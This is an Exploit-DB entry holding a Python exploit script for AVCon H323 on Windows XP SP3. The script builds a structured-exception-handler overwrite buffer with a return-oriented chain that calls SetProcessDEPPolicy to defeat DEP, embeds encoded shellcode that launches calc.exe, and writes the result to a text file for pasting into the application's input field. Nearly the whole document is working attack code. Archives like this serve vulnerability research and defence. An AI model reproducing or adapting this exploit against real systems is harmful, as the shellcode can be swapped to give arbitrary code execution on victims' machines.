Exploit-DB #17877
Description: AVCon - DEP Bypass
Type: local
Platform: windows
Date: 2011-09-20
Author: blake

Exploit:
# DEP Bypass for OptIn/OptOut
# all modules used are not aslr aware 
# script produces a text file, copy the contents
# paste in the input field next to the call button
# discovered by Dillon Beresford

import sys
from struct import pack

print "\n====================="
print "AVCon H323 DEP Bypass"
print "  Written by Blake   "
print "  Tested on XP SP3   "
print "=====================\n"

# around 619 bytes of space before seh overwrite
# if more space is needed, around 2263 bytes after seh overwrite
# calc.exe
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")

# SetProcessDEPPolicy ROP Chain
seh = pack('<L',0x1001414a) 				# {pivot 2072}  # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN    ** [avnmc2.dll]
rop_nop = "\x41" * 3						# needed to align rop nop
rop_nop += pack('<L',0x10024c43) * 90		# RETN - avnmc2.dll
rop = pack('<L',0x20047e99)					# POP EBX, RETN - HikPlayM4.dll
rop += "\xff\xff\xff\xff"
rop += pack('<L',0x6de13c78)				# INC EBX # RETN 00    ** [xish264.dll]
rop += pack('<L',0x6ddc48e4)				# POP EBP, RETN - xish264.dll	
rop += pack('<L',0x7c8622a4)				# SetProcessDEPPolicy - XP SP3
rop += pack('<L',0x20050f44)				# POP EDI, RETN - HikPlayM4.dll
rop += pack('<L',0x20050f45)				# RETN
rop += pack('<L',0X20014DE1)				# POP ESI, RETN
rop += pack('<L',0x20050f45)				# RETN
rop += pack('<L',0x10016d22)				# PUSHAD # RETN    ** [avnmc2.dll]

nops = "\x90" * 20
junk = "\x43" * 5000
buffer = "\x41" * (1023 - len(rop_nop + rop + nops + shellcode))		# SEH overwritten at 1023

print "[+] Creating file"
try:
	file = open("exploit.txt","w")
	file.write(rop_nop + rop + nops + shellcode + buffer + seh + junk)
	file.close()
	print "[+] File created"
except:
	print "[X] Error creating file!"

raw_input("[+] Press any key to exit\n")